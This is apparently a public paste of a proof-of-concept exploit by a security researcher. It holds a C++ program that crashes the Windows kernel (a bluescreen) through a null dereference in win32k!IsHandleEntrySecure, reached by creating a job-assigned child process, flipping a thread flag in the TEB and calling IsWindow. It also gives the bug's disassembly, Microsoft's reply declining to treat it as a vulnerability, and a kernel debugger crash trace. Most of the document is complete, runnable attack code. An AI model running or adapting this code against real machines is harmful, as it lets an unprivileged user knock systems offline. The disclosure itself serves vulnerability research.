Guest User

win32 handle validation local dos

a guest
Nov 12th, 2013
7,766
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //
  2. // IsHandleEntrySecure_w32job_dereference_bsod.cpp
  3. // @sixtyvividtails
  4. //
  5. //
  6. // Function win32k!IsHandleEntrySecure() doesn't properly check if 'pW32Job' field of 'tagPROCESSINFO' for current
  7. // process contains non-zero value. This allows unprivileged local user to cause null derefence in kernel mode (that's
  8. // it, just bsod).
  9. //
  10. // NtUserValidateHandleSecure(win32Handle) ->
  11. //     ValidateHandleSecure(win32Handle, 3) ->
  12. //        IsHandleEntrySecure(win32Handle, pHandleEntry) -> bsod
  13. //
  14. //
  15. // To get bsod, user should call NtUserValidateHandleSecure(), with following conditions:
  16. // 1) Calling process SHOULD NOT be assigned to job.
  17. // 2) Handle for validation should specify "owned" object (flags OCF_THREADOWNED or OCF_PROCESSOWNED).
  18. // 3) Process which owns object SHOULD be assigned to job.
  19. //
  20. //
  21. //
  22. // IsHandleEntrySecure:
  23. // ...
  24. // .text:00149042 eax: current process processInfo
  25. // .text:00149042 edx: handleEntry process processInfo
  26. // .text:00149042
  27. // .text:00149042 checkHandleInJob:                       ; CODE XREF: IsHandleEntrySecure(x,x)+48j
  28. // .text:00149042         mov     ecx, [eax+tagPROCESSINFO.pW32Job] ; ecx: pW32Job of current process processInfo
  29. // .text:00149048         cmp     [edx+tagPROCESSINFO.pW32Job], ecx
  30. // .text:0014904E         jz      short ret_1
  31. // .text:0014904E
  32. // .text:00149050         mov     edx, [ecx+tagW32JOB.pgh] ; <<<<<<<  let's bsod here
  33. // .text:00149053         xor     eax, eax
  34. // .text:00149055         test    edx, edx
  35. // .text:00149057         jz      short ret_eax
  36. //
  37. //
  38. //
  39. // Microsoft doesn't consider this as vulnerability. Their responce to my report of the bug:
  40. //
  41. // QUOTE START
  42. // I looked through your report, and it appears to be a local DOS. Although this is an unfortunate bug, we don't
  43. // consider it a security vulnerability according to our 10 immutable laws of security
  44. // (http://technet.microsoft.com/library/cc722487.aspx). If you know how to exploit this bug without violating one of
  45. // those laws, we would consider it a remote DOS which is considered a vulnerability.
  46. //
  47. // If you'd like to see this bug fixed, please contact Microsoft Product Support Services at
  48. // http://support.microsoft.com/common/international.aspx. You may also want to try posting a message to our free
  49. // support newsgroups. See Microsoft Product Support Newsgroups at http://support.microsoft.com/newsgroups/ for more
  50. // information.
  51. // QUOTE END
  52. //
  53.  
  54.  
  55. #include <conio.h>
  56. #include <Windows.h>
  57. #include <strsafe.h>
  58.  
  59.  
  60. #pragma section(".shared", read, write, shared)
  61.  
  62. __declspec(allocate(".shared"))
  63. HWND WindowHandle;
  64. __declspec(allocate(".shared"))
  65. HANDLE ChildWindowReadyEvent;
  66. __declspec(allocate(".shared"))
  67. HANDLE ParentProcess;
  68.  
  69.  
  70. int go_first_instance()
  71. {
  72.     wprintf(
  73.         L"IsHandleEntrySecure_w32job_dereference_bsod\n"
  74.         L"@sixtyvividtails                 2013-11-12\n"
  75.         L"\n");
  76.  
  77.     // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled.
  78.     HANDLE job = CreateJobObject(NULL, NULL);
  79.     JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD};
  80.     SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions));
  81.  
  82.     STARTUPINFO si = {sizeof(si)};
  83.     PROCESS_INFORMATION pi = {};
  84.     CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
  85.     if (!AssignProcessToJobObject(job, pi.hProcess))
  86.         return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n");
  87.     auto me = GetCurrentProcess();
  88.     DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0);
  89.     HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL);
  90.     DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0);
  91.     ResumeThread(pi.hThread);
  92.  
  93.     // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers.
  94.     // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO
  95.     // (Teb->Win32ClientInfo, its offsets are quite stable).
  96.     BOOL x64 = FALSE;
  97.     __asm
  98.     {
  99.         xor eax, eax;
  100.         mov ax, gs;
  101.         mov x64, eax;
  102.     }
  103.     // (note: no sanity checks here)
  104.     PDWORD threadInfoFlags = x64?
  105.         PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c):            // &teb->teb64->Win32ClientInfo.dwTIFlags
  106.         PDWORD(__readfsdword(0x018) + 0x6cc + 0x14);            // &teb->Win32ClientInfo.dwTIFlags
  107.     *threadInfoFlags |= 0;              // die now if ptr invalid.
  108.  
  109.     WaitForSingleObject(childWindowReady, 7000);
  110.     wprintf(L"ready to bsod, HWND: %p\n"
  111.         L"press <enter> to continue...\n", WindowHandle);
  112.     _getwch();
  113.  
  114.     *threadInfoFlags |= 0x20000000;     // TIF_RESTRICTED
  115.     IsWindow(WindowHandle);             // boom. Just indirect call to 'NtUserValidateHandleSecure()'.
  116.     // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb.
  117.  
  118.     // should not be here.
  119.     wprintf(L"bsod failed, I am so sorry.\n");
  120.     return 0;
  121. }
  122.  
  123.  
  124. int go_second_instance()
  125. {
  126.     WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
  127.     SetEvent(ChildWindowReadyEvent);
  128.     WaitForSingleObject(ParentProcess, INFINITE);
  129.     return 0;
  130. }
  131.  
  132.  
  133. int main()
  134. {
  135.     if (!ChildWindowReadyEvent)
  136.         go_first_instance();
  137.     else
  138.         go_second_instance();
  139.  
  140.     return 0;
  141. }
  142.  
  143.  
  144.  
  145.  
  146.  
  147. #if 0
  148. stacktrace, win8 x64:
  149.  
  150. FOLLOWUP_IP:
  151. win32k!IsHandleEntrySecure+71
  152. fffff960`002a7591 488b4a38        mov     rcx,qword ptr [rdx+38h]
  153.  
  154. SYMBOL_STACK_INDEX:  0
  155.  
  156. SYMBOL_NAME:  win32k!IsHandleEntrySecure+71
  157.  
  158. FOLLOWUP_NAME:  MachineOwner
  159.  
  160. MODULE_NAME: win32k
  161.  
  162. IMAGE_NAME:  win32k.sys
  163.  
  164. DEBUG_FLR_IMAGE_TIMESTAMP:  5216eef4
  165.  
  166. STACK_COMMAND:  .cxr 0xfffff880190d31b0 ; kb
  167.  
  168. BUCKET_ID_FUNC_OFFSET:  71
  169.  
  170. FAILURE_BUCKET_ID:  0x3B_win32k!IsHandleEntrySecure
  171.  
  172. BUCKET_ID:  0x3B_win32k!IsHandleEntrySecure
  173.  
  174. Followup: MachineOwner
  175. ---------
  176.  
  177.  
  178.  
  179.  
  180. 4: kd> k
  181. Child-SP          RetAddr           Call Site
  182. fffff880`190d28b8 fffff802`36876769 nt!KeBugCheckEx
  183. fffff880`190d28c0 fffff802`368760bc nt!KiBugCheckDispatch+0x69
  184. fffff880`190d2a00 fffff802`368e34bd nt!KiSystemServiceHandler+0x7c
  185. fffff880`190d2a40 fffff802`3690b3d4 nt!RtlpExecuteHandlerForException+0xd
  186. fffff880`190d2a70 fffff802`368e5216 nt!RtlDispatchException+0x458
  187. fffff880`190d3180 fffff802`36876842 nt!KiDispatchException+0x455
  188. fffff880`190d3840 fffff802`36874fba nt!KiExceptionDispatch+0xc2
  189. fffff880`190d3a20 fffff960`002a7591 nt!KiPageFault+0x23a
  190. fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71
  191. fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b
  192. fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31
  193. fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13
  194. 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2
  195. 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5
  196. 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa
  197. 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435
  198. 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576
  199. 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e
  200. 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe
  201.  
  202. 4: kd> r
  203. rax=fffff880190d29c0 rbx=0000000000000000 rcx=000000000000003b
  204. rdx=00000000c0000005 rsi=fffff880190ce000 rdi=fffff880190d4000
  205. rip=fffff80236877440 rsp=fffff880190d28b8 rbp=fffff880190d2b70
  206.  r8=fffff960002a7591  r9=fffff880190d31b0 r10=0000000000000000
  207. r11=fffff80236b2e410 r12=0000000000000000 r13=0000000000000000
  208. r14=fffff880190d3978 r15=fffff80236876453
  209. iopl=0         nv up ei ng nz na po nc
  210. cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
  211. nt!KeBugCheckEx:
  212. fffff802`36877440 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:fffff880`190d28c0=3b00000000000000
  213.  
  214.  
  215. 4: kd> .cxr 0xfffff880190d31b0
  216. rax=0000000000000001 rbx=fffff90100407bc0 rcx=fffff90102966a60
  217. rdx=0000000000000000 rsi=0000000000030528 rdi=0000000000030528
  218. rip=fffff960002a7591 rsp=fffff880190d3bb0 rbp=0000000000000000
  219.  r8=0000000000000000  r9=0000000077e5dc64 r10=fffff960002a75c4
  220. r11=fffff880190d3be0 r12=000000007edab000 r13=000000000011fdb0
  221. r14=000000000021fc20 r15=0000000077d72300
  222. iopl=0         nv up ei ng nz na po nc
  223. cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
  224. win32k!IsHandleEntrySecure+0x71:
  225. fffff960`002a7591 488b4a38        mov     rcx,qword ptr [rdx+38h] ds:002b:00000000`00000038=????????????????
  226. 4: kd> k
  227.   *** Stack trace for last set context - .thread/.cxr resets it
  228. Child-SP          RetAddr           Call Site
  229. fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71
  230. fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b
  231. fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31
  232. fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13
  233. 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2
  234. 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5
  235. 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa
  236. 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435
  237. 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576
  238. 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e
  239. 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe
  240.  
  241. #endif // #if 0
Advertisement
Add Comment
Please, Sign In to add comment